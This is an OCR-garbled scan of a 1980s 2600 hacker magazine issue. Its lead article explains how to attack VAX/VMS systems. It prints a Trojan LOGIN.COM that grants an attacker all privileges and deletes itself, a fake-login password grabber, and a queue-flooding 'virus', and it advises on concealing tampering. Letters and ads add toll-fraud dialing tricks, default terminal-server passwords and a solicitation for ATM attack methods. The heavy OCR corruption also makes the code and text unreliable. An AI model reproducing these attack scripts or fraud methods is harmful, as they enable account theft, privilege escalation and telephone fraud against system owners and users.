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VIOLATING A VAX

By Baalzehuh

As DEC systems have proliferated throughout the
catablishment, hackers” desires to know more about same have
also msendramatically, Thisis rronic as DEC architecture hasa
well-desizned sceurity schema while many other svstems
require additional software. In ony cise, regordless of what
swstemn vou've decided 1o targer, there ane a fow tricks. The
fallowing is writton specifie to W AXK S YMS bulmest of thiscan
be applied 10 olher svstems,

One two-bit trick 5 e contipually it Control-T upon
logaing in. This feature will tell vou whal imiges are bring
executed in the systern-wids lagin procedune, Most likely, this s
wliere any site-specitic security wall try and weed out who has
cortain. privilepes or who should remain insude & caplive
Provess.

Conrrod-T has limitations, howsver. It only shows images
That s, i0ats nod an cxcewcable in the directory
SYSSSYSTEM, it will probably only sppear as TICT, Thal
covers o lotof ground, Furthermore, Control-T might imdicais
that vou're runming SET. Well, that's just finc and dandy hut
SET what? 11 eould be anvihing from setting terminal
characteristios to resetting the CPU clock,

Trojn Horses

Let's psapime chat somchow vou got an aceount and now wish
o pive yoursell prvilepes. A Trosan horse s qust the ticket. A
Trajan horse is simply a few lines of coding that vou
unabtrustvely slip into someonse else's peogram, That someone.
whao has special privileges, then unknowingly runs vour
proeram. The fellewing is o simple Trojan horse that could be
copicd into & privileged wsers directery and renamed
LOGIN COM:ES, Thiss, as he logs intn his account, he
antomatically mng the program. The reason for the high
version number 15 to insure that ths will take precedence over
any LOGIM.COM he aleeady has, The Tast line deletes the
program, thus crasing any trace of your dirty deeds. We assome
Rere thot Uhe wzername vou are working out of i "TEASH"
Essentially, all we're hiwving o [riend dois madifs TRASH o
havve all defanlt privileges. Likewise, you could huave him add
LIseTs.

The onfy hard part is copying this into a wsers dirsctory. 110
the svstom allows all GROUP privileges, then vou showeld have
oo troubles. As Vaxes are frequently wsed in scicntific
EIVITSOMENLS Whors proe ram-Swapping 15 Comime, this gt
e the case. Ciherwase, vou'll ave e pot this or something
sinilie 1o this clsewhere,

SSET MOYVERITY

SRET NOCONTROL=Y

SEET MESSAGE SOFAC/NOIDENT NOSEVER NOTEXT
ASSIGN TISER N SYSROUTMUT

SSET DFEY SYSESYSTEM:

SHUN AUTHORIZE

MODIFY TRASIDEITPRIV-ALL

EXIT

SEET CONTROLTY

S5ET MESS/ FAC/IDENT/SEYER/TEXT
SDELETE LOGTM.CORMAM)

There are a few menera] rules of ction conecrming Trojan
horses, Fiest, in gencral dont replace or insert the horse dineet ]y
into the resident program. Rather, insecla poinies that tells the
swstern which progeam 10 mun, (The sample horse s an
pxceplion a8 it deleces itself. However, someons perusing the
svstem may discover il before il runs. b Additionally, pive your
program an innocnons name. Make it look like il belongs.
Finally. whenever possible, write your source code in
compiluble nguame, deleting the sowcce code and leaving only
the image. This will insues that even the most suspicicos of
swslern people won't be able o o find any evidenos ol
Tampering.

Mow, ety suy that vou want W collect more passwords. The
password prabber s vour toal, This cluldishly simple program
docs nothing more than mimic the logon procedure 10 some
unsuspecting dope, Unbeknows tosad dope, Tus wscrname and
password are written o some useful location {vour directory,
far instance) For later retricval. Sophisticated grabbers
contimue o Jet the vser vse e svstem and Just pass s
cominands o the operating svstemn, An casler approach s b
burnp hirn offlire as i the compuoter dropped . him for some
lepitmaie. vepson, The following progam simulaes a logon
then gives Tom a transmiassinnerror (T he error looks legit, bt 1
don't think this messape really exists) [olowed by the sieug of
characters indicating he pot bumped CThis string may e
sitetermrminal speeile . A thas point 1L just waits,an Tiour
Having disabled Control-Y, he cont do anvihing snyhow, Tle'd
either Jeave orteen off fhe terminal, Either is fine. The problem
with actually having the prabber log vou out alter i bhas poiten
the password is that the logout messape can't he readily
suppreszcd. Italio might have an clapse time greater than the 20
seconds he was on, and 18 wall certainly have vour pame m 1L

Mow comes the bad news, Maost privileped users have s
terrminal on their desks and perhops work in cestricted areas.,
Thus vour password prabber, inoa more pubhic arca will
probably collect unprivilegsd accownts, To pet arouwnd s,
neXE Time vou visgit the system manager at his office. n the
prabber on his termimel T ondy takes ome shart comemand,

The other bad news it thar this s designed to o wark after
hitting Keturn onee snd onby onee, The second Beturnwill be
absorbed os the username, A licde extry coding could take can
af this,

Srum sysExysiemiclenr [ This just clears the screen, i sbe-specilic]

Stogubrenopunct dammy " " [ Absorh the first RETTIRN)

Son condrol—Y (hen comlinoe

bl A2] = Gonell?

Sws == Wride syshoutprt =

Fwrs hell, * 7

Fry pe syesiipot

WELODME to DEFENSE TNTELLIGENCE AGTERNCY VAN 117740
Iiwr ueser assislanee, call A%T-2%62

et term S hardeopy

Finguire, moguanet name *Username: "

Sxet dermy noechin

Sinovre fsoqumet pass “Password:”

Sopen, wrile key—Tile devEI0 iraslifroodios. ks

{coniinued on page 350




VAXES

feoririnued from pape 3-40)
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Swritr key={ile: name."

Sibose Kev—T[ile

St NG00

et Welepme (o0 VAR YME verdoun ¥4.2

fax™ "

Sl M0

fax 7 5 FOR OUR WEFKFEND SUCHEDULE ENTEHR TIME=—
MEWS AT THE 5 FROMEPFL

Swruid Cl:0=0Z

LT, TR

LTS

T

Svenid MDA

Hwy Y

Sws "HDCT-FTRANS Faral transmsleston ¢rros”

Bwy Y Disconnect im pirogress”

%t = fimay)

Sws™ Tipome” Togped ot ne Tdr

B o M R R R

swald D0 sk

Yirmses

Yirusos are 4 bit more inferesting, Thess monsters in cheir
crudest Torm do pothiog bul replicale themselves, The one
belonw dnes st that ot acithoa twist, [ keeps on sabiicting johs
ter the hatch gue and sends the outpub te BYRERYSTEM .
Lnloruoatelv. all that will bappen s the que may averTlow,

osr Vaxes are set ap o mn noomone than theee ot four johs
sicniuitameoushy, Soowser service wond really be depraded. The
avstern will juse get vere wverw cluttored.

This parcicular virus points oul an interesting law in how
st Yaxes ureset up, Thers i genecal by oo hoit 1o the oumber
nf jabs even p none-privileged vser may suboic, Eronically. this
perareicr iy be easily roset in the UAF,

Apond virus does sometbung slightly more interesting like
plant a small baml in the sestem oo go off afer same time
periced or witer somie evens oceurs of burna hole somewhen: so
that & coream cnmmand wall do zamcthing clse or msore thar o
certain wserneme will abwuavs work or dedicate all system

the free phones of philly

by Chester Holmes

Lo i surprisingly alinuistic move, MO SHES-Skvline, in
cooperation with Bell of Pennsylvemia (BPA), recently bepan
providing froe long distancs servics to ares inhabitants from
ordimary coln box wlephones, The pew "IGEEE" program was
imitiared in several contral offices thot had  recently been
upraded to egual noces,

Under equal agcess, telephone subscribers are forced 1o
“wote™ for their favorite Jong distuncs carrier ona (limesy
“hallot (il they waive Lhis privilege, anegual access caree will
be assigned wa theim, ostensibly at random). Uhis atrangement
allews lone distance calls o be made sunply by dialing
[+MEPA+TLY (1 plus the [O-digit phone oumber), and the
selected {or assignod) carrice weould hill the eall aocordingly.
Users sll have the option e place calls through other than
their pristaey carrer, though, by dialing TOXNAT+HNP AT,
the XXX being the carmier’s code number {watch for a full
Listing of these spon in 26000, This “casualuse,"as BP A call= o,
w billed by most carriers via the normal monthiy BEA bill.

M ost coin box phones have apparently voted for ATET s
their Jeng distance carcicr, Some nifty things happenwhen you
try 102N+ dinling ot coin bos - Torexample, 104444 [+ 10T

reseurees Lo cnloulating the mitlionth digic of pioovou get the
idea, It can doanvthing, You're only imited by vour
imagination, Cven more faseinating, when the infecied
software is capicd 1o another svstem, the virus takes over yor
another machine, In the case of eomminicaton soltware coding
apeeifically designed o reach out and touch other svstems, Uhe
linal outenme can be phenamenal especially when ane
crnsiders haw minny svstems are networked together, Tntheory,
ane proerarm could infeet a very Targe peecentage ol all h}zq.;_-:{q_

Fnally, the vins can either duplicate wself wpon entry in
cach avstern fonee} or clone itsell arichmatically (35 i the case
below] of grow in geomelne progressicen. Yeow!

The sample virus comsists of two progeams, One wriles g
duplicate program and renumes each one slightty differently,
L= purpose i ooclutter up disk space, The other program
subrmits each program.

Uhe only words of contion are as follows, All jobs have the
st oene abbached, 10 vou’re using one of many nonprivilepes
actounts and don’t care, that™s one thing, TTyou dan wanl to
pot eanghe, you il need special privilepes tooadd the qualifier
TUSTENAME=SYSTEM to the suhmit coanmand,

Frograns 1 ealled GROYY O0M:
SEUTRNTET O AN T MO LG USERN AME-SYVATEM ™AME

Progrum 01

SCOUNTD

ETOP:

SCOUNT=C0UNT

SNAME S CDEVSRETRASHINFECT™ « FSSTRIMGICCHINT
=0

SOPERWHRITE FILE WAME

EWRITE FILE*SDTR/OUTPUT =5% 5555 TEM DEY S0 000a0n....]"

SCTOSE FILE

SDIVERH TRASHCROY .CONM

SCOTO TO

Anyhow, happy hunting, and don't hyte oft mare tham you
cam eschow,

wall give wvou the Allnet tone to enter vour autherseaiacn sod,
likewise 10777+ {Sprind)., and several others, IO+ (ATET)
requeses pavment (thees dollars ord Tecte-five cents, please ™
B dianlinge 10338 the call is pioced tieongh Skyline (ewrrenely
merging with MO and the *casal use™ bill will presumably be
sent ta the cotn box, As an added Teatore, MOT can coure calls
o mest of 1he Troe waorld,

Look [or this new conveénience in yous equal aceoss
neighborhood—guicklv ! Ay o BPA representative suvs.
“With equal acoess, things champe every das!”

P

Inanunrelied acuon, BTA and ATET arc offering free Long
distancs dircetory assistancs calls from thase e "Churge-A-
Call™phones, Adjacont coin baxes ask for 6 cents loc the siome
call:

CrT)

Reaclery, are vou getiing deels feom youe o Comgsen)
rhar are just too pood rror ra fell sovmebod v else? I so, shen vriie
Fhery doverr g semd theen i The 20000 Goad Deal, PO Box
GO NS L NCIY FRRAZ0000, e i fodli v, o g witede fos of peogele
will be o To Pllladeipdiig,
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Fown on Hold During Strike
M b wnc i Porerd

When workers for ATET walked off the job rocently, the
prople of Sen Tsle Ciy, Mew Jormey were remded st how
antigded . thesr Sd-venr-phl tebephone svstem is, Fesubents
cammol make lonp distnce calls withowt the help ol a0
pprcrator. Some of them hid 1o kave jown to mike clla,

What's prost ald-Fashiened about the sysbem s thar b celics
far e Bemessy of Temg discance callzrs 1o prvibe OpsEALGrE
witky L corrssd phone number For bitling purposes. Ll Lewn
deublechecks all phane charges above 32 inan offed o
iheittily Fmudulent calls,

Moo Jersey Rell savs Ue selephane switching equiginent will
ke replaceed o Deccmber,

Prisoncrs Break Law
Mew Jprry uk, Merad

RAacris Ceanty Inil inmmikes bave Been making thasyrels af
dollers wazrth of telephore cills eoer Lue past yene e using L
privileeed Iong-distanes felephone coinpany codes of ML
accarding Lo gl oriliss,

FACT Commnumicatiors Corpaonafeen estimabes Thil annsailcs
fase minde ahoat SO wordh of @alls by using illegaliy
abdained coile numhers,

AJew inrmues apparent 1y have the codes aod are exchanging
flir ume Tar cigoetics amd othet items.

Mo suspects were wentilied by aatharitics, but a spoekesoin
far MO sl that avthorites hove nod detenmaned who hos
b Billed Do (e dlegal eabls, Apparently, no MCT custamers
have complained of being Billsd For calls ocginnting fram the
imil.

Hacker Degrees?
1 b g T o T et

A Meyear-o'd student at Triton Collspe (River Grove,
[iras) Ties been charged with usiige & compiter 1o owise his
prodes anl gain credit forconrses e oever took, Tk also been
pocnssd af allering the grades of 11 ather present ar Tosurer
stuklents, cigabing an academic weend Tor someans who rever
amrended the schead, amd allowing students to ke courses free
by inpping inda Triken s computer sysico.

Sate Palice Disector lames Zagel said same movics b
pactrayed compider crimes as “something cate and chever "and
T asked, "Wonkl yau thick i wos soocleer o the movies
epening, sene showsl o guy Torping Tus panrents’ will or
Baancing mbher chucks off local merchionts?™

[We wonder if hes ever soen Bonnie end Clyoe or Take the
Mgy ond B,

New Jersey Tops Taps
B B S

M Jermey bed The mation, as usval, lnse year inthe oenber of
state opderod wirstips, with New Yotk coming i op close
sevad, aceording 10 i Teleral report,

Mew York reported the lurgest number ol Sw-cnlancement
wiretaps nationwide, when inclsding fedemily-ardened taps,
Rath states far exeeedsd the total number of fips in any ather
sEale.

New Jersey State coanpleted 172 winetaps st vear with a
grand total of 1% taps. Mew Yorks il was 206, In
comparison, Penmsylvania had 6L, for examplie, and
Comreericul had 16,

Al taps in bath sttes were approved by judged and were
placel oo telephones in povase homes ard busicsacs ET
wires or mcrophones, Several wps monitoret public phy
phenes.

The neport does ned list aps sull in progress.

Ex-Fed Tapped
Frever WiFgres baimegr

The formier hend of e FBI% Les Anpeles ollos, Ted 1.,
Ginderson, whio novw worhs as a private investaeaton, Tins s
Ciepern] Telephome alioging that his wark wehephore s eer
fapped far atmast bwo wears Lenllow evesdroppine on Busness
conversatioms, Ciunderson had alse been charped 342 per
micand feer Lhas pleasare.

The suit eontends this GTE did witing withaul lis
krowledge or comsent, and tiat Answernll, the answering
servios e wns wited L, caused e conmection b b wade "o
listen 1o privileped telephoone copyrrantions ikl g acieas
senzinve informntum .

Apparently, someane placed o werk enler wallids IE. amd ix
complied, GTE has sinee refunded almast SE000 o
Crugndersar,

The former specisl agens sid e has boon laossed by
Federal npencies because of his effaris tovindu e oo who
was convicled of murdering bix pregoant wile nnd Lwn
daughiors,

SS Numbers Returned To Citizens
T Privecr Jrarml

The custamess of Hackensack Waler o, in Morthern Mew
Jersey received a potios with theie bulls s winder e e
that L coimnpany had re right Lo demand cheir Sacial Hecunidy
nunribszrs Inst year,

Tn 1685, when New Jersey ordercd LAl woter in certiun
drought-siricken repions be msaned aceording o rumbens al
persans per houssholl, woter suppliers were anthonasd o
count persons ond, it they wanusd, 1o collect Sl Hecurily
numsbers, The Hackemsack coopany nsked Sor the ines af
evesy persan nnd the Soctsl Seeoricy numnher o the Nz of the
hauszhald

[ aber, the |_'|_1|:|F|;|1|}'3.-|:||1'|i11ﬂﬁ thast 11 asnled Social -:';"\-"\-"-ll'll:-'
numbers, 14t o TAtnn water, bul e bzlp ersdit ancaus am
calleetion apercizs calloct unpaed hills.

Fesidents of Rergen Cownty seed becuse tey were bed B
Lelieye the infamsilion wos required b L sohse,

A Federal caurt opdered the compny 19 send f cormection
podilicntim Lo ks cusbomers ard Lo peoonit Lhea o have thar
pamibers erased,

Computers Strike Agan!
US& lealay

A ity compiier propram in buildings with delepheo:
intereoms i geacrating phane bl wpto 1500 percent higher
thar averags [oF ARy 1res cuslomers, according b MLET
olTiciels, ATET isnt sure haow sy costomers are affected,
bt ome customer, Bemand Darikowsky, was charped 343148
far o meath’s fentnl om g stanmdasd push-bttan plane, =1he
hurenseracy is 5o hipated . The comgulers hnve laken awert
sl Loiis Soupcalt, 71, who was bitled $946 74 lor lasing 3747
warth of equipment. A TLT lasn't Tipured paut baw 10 Tix the
prablem,

Federal Emplovees “Tracked™
1hr Mee Yok Towss

About o thind of all telephane calli maade by Tederal
cnployees ot five ageneics were [or personal radher thon
busimedd rensens, neeerding 1o preliminnry Goverament
stunbics.

The Presidents Coenal on Inteprity amid - Klleicsey [ob.
plecze!ordered che imspecuors peeeeal ol all Buderal agencies
coprduct the studivs 1o determine the extent of plone system
alvuze in 1he Government.

obedy listenod inoon calls, aceonding wothe inspecior
penernl ol the Ceneral Serdoss Adnsinistation, Instead, the
ppencies ook soeidifie samples o the calls mnde Trom e
alices wred ten calied the murnher. L the phene was in o prasiie
mesicence, the call was clisalicd b8 personal.

[Haw much do weu think was wasted by calling nll those
pumbers instcad of daing CMA% oo e




Dear 2600....

Lrear Jdddr;

Juse thoughd we would inform yvour regders of & publication
ol mterest, ACE CAssociation of Clandestine radio Enthusiasts)
% 4 group interested inopieate and spy radio which publishes o
maonthly pewsleter, We cncountered these poople when the
Private Sector BBS recently expoanded into the world of radie
comrunications. Ths sub-boaed on the BRS discusses cellular
and mobils phones, seanners., and sirmabar topics such as picate
Tadic,

We'll he interacting more with ACE in the future us we alse
enplore shortwave snd picate mdio, bul youe readers can also
cxplors by subscribing wo thetr newsletoer (e ACE] Tor 312 2
vizr (R for back issoes), Write 1o ACE, PO Box 40199, Baton
Foonge, LA 70895 Chey also runa BES (30001200 bps) ar(913)
7= 1288, Mention 2000 when vou suhseribe or log onto the
BB as this will cut through some of the red tape.

W ram across the Moy 1984 (% 2 320 msue ol ACE which Jas
a Teature aroicle o picate TV intermuption of pay TV in
bilwaukes, which predates the Caplain Midnight-HBO
iscidens, Ciher artickes cover making wour own picate tadico
antenm arad e anmtocoy of an FOC parie radio bos, as well
a5 the Frequencics of pirate and spy radio broodeasts,

Shacow 2600 and Bid & Co.
Co-svsops of the Privale Scotor BBS
Dhear 2660

T o By 1985 assue, vour diseuss boxing I'TT on page
3-3K. Lnfortunately the tochnigqus discussed does ned result inn
free phone call, Following the directions &5 they are printed
rosults i the call being completed by the subseribers carmer,
nat by ihe [TT network (unless TTT happens to be vour default
carrier]. This will, ol course, resvll i e subseriber being Dilled
Ton the call,

The suthors of the artiche wees foeled nte believing that ITT
allows its billing 1o be circuprvented by the application of 2600
Hz hecanse of the way the U1 network handles this tone, When
a 2600 Har tome is wpplied Lo an TTT call ITT Bivngs up on the
caller and approximately 8 scconds Tater vour bocal dul tone
returs,

A Faras Einow there s noway todefraud ITT by using amy
surl ol electronie devies other than using IFTME (touch-tones)
o hack out thetr trave] codes or s modemn (o break tnda Uher
billing computer,

Howurd
Thear 2ieMe

Thanks much for providing lacs of usetul information. Here
is an ironic lictle ganouncerent about the new president of vhe
Coadition for Open Svsiems,

From Courter published by Xerox, FPalo Allo, California:
“The Corporation for Open Syscemns has mamed  Lineoln
Fuurer, former director of the Mauena] Secoriy Apeney,as the
group's first president, Fawrer was chosen on the hasis of his
cxtensive oxpenience o the stenderdieation process and in
nescdizitions with vendors, Mombership in OO8 cwrrently
slands @i mearly A companics.”

ki
Drear Mr. 1
Thowe are pas jfusd S0 e vompanies sivher, They include Bell
Fabs, Boglig, DEC, Kodak, ¥OR, Northern Telecom, Xerox,
el ashers on e cxeowtive commitioe alone!

W are sure that Mr, Fawver will enfov running future
discressiony of dota enorvprion end odher standards witl vho rosi
ol the cowiiion,

A-52

Dhene 240

I world Tike to add w bt ol iofortoa ion e Shat given in the
Sarch 26 issue om VIS and sweh, The (OG0 | con by reploced
with o minus sign i brackets [=]. 10 sad somewler: that this
would raise vou up one dinesctory level also,

A frend ard T found & Gk lsting defaul passwords, amd
other poodies for the VAX ethernet Communications Server
W Taguods froan the (31 Default Passwords sectiomn:

“The defanlt password has been chonged 10 ACCESS, This
password 15 requested on those ports for which a SET PORT
PASSWORD ENABLED was issucd hefors the user logpsd in.
The password port charcteristic = a Teature nod found in the
Termnal Server Y EO releases Terminal Server V1A furr.*t:d
vsers ol madem-contralled Tines anly tooabasyes enter the oo
prasssanid.

The deful privileped passavord 8 SYSTEM. This password
allows o nmon-privileped user o pain aceess e privileged
functioms.

¥ ou shauld change both ol these passwnrds after o success{ul
installarion of the software, and therepfter ona repular basis,

Chisoges the passwords using 1he Tollowing TEC commiands:
TSCY DEFIME LOGIN PARSWORD NEW-PASSWORD,
TESCITTDEFINE PREIVILEGELD PASEWORD MEW -
PASSWORD”

Pretty horing staff, huh? The only thing we hove found that
we conld do with Lhese so T s beoadeast messages o all
errrumsala, and sign someans oif,

Linditled
Prear Headers:

Fasr ok, we sl vor abowr the ATET Tl Pree Wakes
Cip wervioo FROIZ 220300 ) wihiedy fearnured g alios: eleval loon
af muxie by planist Georpe Winglon, Sinee our meriion o 2,
M st bes Boen chianged foo nondeserint weuzae and Hhe
vodme af the recording hay been redced, making i deis
Pleasit fo i fo, We pleo spodke with (feorge Winsran and
askered Kl wiiar e shovghe ol s msic being used br ATET,
He replived: “1 dont cove, bevause Todont gl anv eovalties
Bevguse of i

Chyavery differens slfecr we heve received vhe Tesr copy of
Teleeomputist, whick was writfen by Dot Line, Forest
Hawger, Nev Enge, Toeorn King, and g fow othees, The fivsr isseee
i 20 papes, and, we are foded shar fdare ivvaes will be monshiv
anel ondv & pares, ke e ol TA P reagazive formar. The firs
v fas Nsis of Seerer Bervice ared other Jreguoencies, o
renfissing deseription ol ISEWN, o iranscrips of o PRt Donaliee
show o compmters (Troen Mareh, TRES L a dise af Aurtowar
exchprpes and thelr eguivalerits fav in owr Moy, JORG {sswe),
aried & e postal Informaiion.

We sake the waif amd see attitude on whether or pof (o favest
s owee J5 yoe wean de seseribe, ronfaer Tlelecomputst
Hirowgh Telex 502406356, by Jeaving & nolo fo
TECHNICTAN on the Defphi svsiem, or by writing o PO
Box 2003, Flariwant, MO GRE320 The firss Do savs ol pou
whiseled cortaes shes before seeaieng any nianey, Back issues are
arrly B30, Ty fheve in prabahly ondy ane so far,

Trear 2w

[ just fannd @ preal way tosave moncy on my long distunee
calls, When 1 dil “0™Aren Code=850H xxxx, the call gocs
theawgh, Sinee 1used the 07, 1 chink that the call is free. This
mreans Chat 17 T aen i New York and Twang toeall Califorinia, 1
can gall the TS, Tel tone 1 Los Angeles (521349504 (53 for
free wrd then dial a local call vo ey Triends in Calitornia and ba
Billed Tor o Lacal call on U5 Tel, What do vou think?
sF

fronsined o pape 3-50)




The 2600 Infermation Bureau

The following 16 a List of all country codes in numerical order. This fnis 234

coaes to o8 trom Telecos Digest via Private Sector. 257

23

205

World Mumberlng fcce | llniagrated Husbering Areat 1
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Central African Rezublic

Lareraon

Cape Yerde

§a0 Tome and Principe
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Eakon

Conpo

lilre
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Belgiun
France
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gpain
Bibraltar
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[reland
leeland
Albania
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Yprus
F;n]ind
Bulgaria
Hungary
Gerear Demgersbic Republic [Easth
Yugealavia
It:l; )

39 841 Han Marino

1544987 Vatican City

4 Ramania
Switzerland
Liechtenstein
Ciechoslawakia
Bustria
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DEDNArK
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Belize
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Haitt

Fera

Fesico
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Gegnbandan fay U8 Kaval Base [locafed on Cubal
Aropentine

frazil

Lhile
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Yenezuela
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Bupana

Eeuadar
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U ua]' il
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. Ezmairel
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Iran
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AT&T Selling Pay Phones!

Lrmabarad Mows Sacnees

AT&T, which has built nearly 1.5 million pay phones Tor
telephane companies, his entened the fledgling private pay
phone husiness.

ATE&T s coin-operated phone will he ideatical in appesiminee
to the chrnme-faced pay phones 11 sells to local telephons
compinies. But like all other private pay phones, AT&T
medel wall be fitted with cnough computer power 1o make it
independent of the local telephome company.

Individual umits will sell tor $1.595, which puts them about
midway in the industry in pricing.

Automated Operators Coming
Crimparaaron e ek

Southern Bell v taking a small sfep nto the world of
asutomation with the wst of g pew, computor-controlled
aperatar service Lo handle third parey billed and collectealls. Tn
A Lest called Automated Aliernative Billing Service [(AABS),
computers will enticely awtomate selected calls previously
handled by operators. The process i similare 1o Uhe way enedit-
card ealls arc currently handled.

[Callers will be old to press one number Tor a credit-card
call amother fora collect call, and a chivd for thied party billing,
In the case of colleet calls, callers will be told by a computer to
say Lheir numes. The persen called will (hen hewr a
computerized veice welling him that thene s eollect call fram
whatcver name the caller guve, in the ealler’s voice, The speech
recognition system will ask it e accepts the call, then wait for
cither "wes™ ar “no™, Any other response will result ina Tuman
operalor being sumrmnned, |

Michigan Bell will also be conducting a similar tesr, called
Fully Asttomated Colles! and Third Party Billing Sceovice
(EACTS).

Rell Cammuumicitions Research Ine. { Bellcose) develapod the
techinolopy lor the trials.

Cellular [Mal-By-Yoice

Tla e Wik Tares

A new cellular phone, developed hy AT&ET Consumer
Praducts and called “ATET IERG", will cnable & motonst 1o
disl 2 number by pronouncing @ person’s name. Twenty
numbers can b stored. The gualities of each seund are
compared statistically rather than comparing recorded
pretterns. This mathematical procedure is said ta climinate 90
pereent of the computation peeviously required o wentify
apcken sonds,

+ r =
New British Phone Service
Toe Wl b, haraa!

The British telephone system has opened vp ils povernment-
ren monapaly 10 privile enterprise for the First time, A new
service Tun by the Mercury Communicitions Ltd. unit of Cable
& Wircless PLO recently started with a call to Bricin®s Trade
Soorelary.

Mercury has a government Jicense o compete with British
Telecpmmunications PLC,

No Data Protection for Hong Kong
Irfiftes

A Hong Kong newspaper recently reporied that Hong
Komgs Secretary for Administrative Services, Poter Tsice, said
u special goverament task force on dota priviecy has decided

SYaTEMATICALLY SPERKING

355

there 1s o meed for laws poverning the storape of computerized
data or teecontral its abuse. Inlight of the statement, 1L appears
ingreasingly unlikely that Hong Kong will enact data
protection laws.

74,000 Calls to Fraud Line

A aiy Pyees

Mg than 74 000 culls o a Congressional (raod ot line hove
urdzovered hundreds of cases of waste and abuse in Federsl
Crovernment, Senator Jim Swsser, Demoorat of Tennessee,
pecenlly announced.

He said calls to the 2d-hour wli-free number had praduced
A28 coses warranting Turther revicw since the ot line wis set
up by the Gencral Avcounting Office seven years ago,

The nationwide hot ling mumber = 8004245454, [No, vou
can't blug-bos ofl ]

Federal Phone Failures
Sire Wi Tiomes

Formaonths, the State Department has bean phasing ina new
electronic telephone system. The svstern was designed tn par 1o
make comimitmicalions mere secure, But the conflusion has
creited o Jevel of scourity mone impenetrable than its planners
had haped,

snee nobdy in the depantment seems e vl who his
whtich new number, ler alone which ones work, disgruntied
emplovecs foand themmselves w1 times recently unahle 10 calt
cach cther o1 e receive calls Tram e eotsids world.

The first clue of trouble came in October, when the
department sued Gt ananal sttt diccctory of what werne
suppased 1o be the mew numberes, Callers quickly discovergd
that dialing the listed numbers cvoked cither husy signuls or
nothinge at all.

By Movemnber. the numbers in the new directory were
declared v cror, amd =talf members received another set,
pisted 10 the hack af their phones, But then. at a bricting, they
were told toignone earlier instructions ginc: in modt cases only
the prefixes of their phone numbers woukl be chunged.

The State Department’s main 632 exchange has been
changed 10647 The remaining digies for phane numbers ame the
same, wnless, of eowrse, the Mourth dieit inthe old samber was O,
n which cuse, the holder pets o new extension. Those who had
254, 603, or 634 prefixes are also heing shifled 1o 647,

Indiana Telco Threatens AT&T

Wl M) Jingeral

The FOC has approved o proposal by a new cormpany,
Indiama Switch, to provide long distance telephone scrviee 10
ruri] customers in Indizana.

Indiana Switch is a joint venture of 27 Indiana phone
companes and U5, Bwitch Tnc.. which is 70%h-owned by
lelecom Plus Intermational Inc. of Boca Raton, Florda, They
plan to tie together the nual phone concerns invahved in the
venture through ong central switch.

The plan would require ATET and other long distance
cirriers o use the switch and puy a feo to ap into the new
svatem. 11 would provide cqual access 1o long distance
tekephone companics far the Y0.0HH Indiana Switch customers,
A il would give Indiana Switch the opportunity to offcr long
distance serviee, similar to a1l the ofher carriers,

ATET and MOT appese the proposal becanse, they argue,
[nclionmi Switch would provide @ switch as well as long-disranee
service, thus giving the company an unlair competitive
advantage.
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AN ELITE BBS OR SKYLIME! Maybe. fr oy evers, SIS cursfomens: are abie fa
mecess fhis miyifeviony comparer by simply dlalftng TIRSSSIIE after their
e lzartioon oade, (b compriters oo e S of X8S551 212 and A0ER5T212,
aaned woe woaldn 't e ot olf surprived i mrore e o

ATM CASH!

WANTLEDI INFO. CONTRIBUTIONS OM ATM VIILMERARLITIES AN f
COUNTERMEASURIS, W are now actively researching for AUTOMAT=
IS TELLEE MACHINGS 0. [T abllowed o persant, ATAE will desteoy grar
fresdoms, pelvacy ard irdivigoslityl  Published plars by e bankire B T4
clique will have ATH-lixe devices monltoring and coorallive YO #4-
haurs par day -_E\'EN TYOUR SEX LOIVE AND YOTING © ili Il.c-lp us
i or !Ju"hi apainst these heasts? W need mers internal photos, fieures,
functional diagrams = more an ATM wiretappirg, phreaking, TEMPEST
metrds = more on el taining aml decrvpting FING = more onoovery meth-
D:i amd technbqie of peretrating and defeating ATHMs ardd ather EFT ca-
vices = more o countermeasurss] o Please cash s everpshir can
vayr hands on. PLEASE TELL WOLUR FRIEMOSIE B A gt

AT UL st Based wpan what we have 20 far, will Bave 200% (ears
Irta, wksn ATM [0, and should be THE MOST EYE=POPPING, SIETLING
ﬂr'll:!' SHOCKING PUDLICATION YOII'WE FYER READI e want to
ullish every meihod = reo hoelds Bareed]] Aonnyimers contributsons g_:.a.d-
yacoepteds 1 you redquire paprars, we will regotiate with yeu,

We are lodking Lor suevival inla, of all dypes = s2e our June ad In 2600
oz spmcific topics cr sind §1 for our SUPER-SURYIVAL CATALOG.

'i'fm_-ﬁv-illdlllu (2 monthsl we will 0L 213 AT 10 ardora an i Tirsg
codiv, Tirst serve basise To reserve a Rat=off=the-press ATM 0L copy, f
fhemse mail 520 o

Consumerfronics Co,
2008 CRESCENT DR, P, O, CRAWER 537,
ALAWDGOED0, FM DI
5L,000 pear capy i you are an employee, offwcer, agent or indormant of
any Tinarcial institution, EFT equipment marotacturer of law enfoross

ment entity, or of a law, investigative or security Tirm lacgaly amplavsl
by any of thess three.

(Informatlon requestod tor ATM DI is for edvcational purposes anly,
ATM I s sald for educatioral pocposes anly)
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MYSTERY OF THE CENTIURY, Why is flere o
amiespeliing our Blie fower ripht of every FISA covd b
circilattan” Lok of the tecomnd row froee e eight of
Tetele FINA s ard g iy up froew the battom, Phere of
is, Strouge, Ll ie?

Dear 2600....

rearitinwed from pape 3-52)
Drear 5k

Wiien you JTese sold wx, we tried 8 o o o o overpilileg
row sadd, e were (heilied beyond all heliel? W thowghs that
Tou had wncovered an expensive ploy iy ATE&T ro e their
sl for sk fong distance componics ovd of the rarkei or,
perhans, the most amozing sxampie af corporate persinh fo
Sen o ol the diee R,

Then, we decided 1o think, The technigue warked to area
coxtes TO6 weeed D00, cmed ths todd ws risht oway that yow weer i
repchime those aren codes. We hove concluded that this nifty
feature you e found (8 an oxample of your focel phone
sistem copverting (harea codet @30 exy o B30 xxxx. This
meany et voree coflwas sor made throwph a loe distarce U9F,
Tl veome st o Toocad oo Seestead, aoned vone poid the fong distmace
rade Jor voue calt, Bedd thie corverstor ol Deplus calls St o free
feraTeal) (RSO may moan thar prisoroes, wiioare anly alfowed
ol 0 aw theie Ses algis, inorder to make a colleet call,
wretichd be aldy ro bepass the operaror avvd dial o long disianee
sowmpany wsing Hhiv method

O arrosher mode, i Vo are having trozedbie with fowch-fones
that cur off after vou capnect (o Vour rusher, iy dialing your
mmber with operator assistance. This weally prevents she
TRER RO R S,
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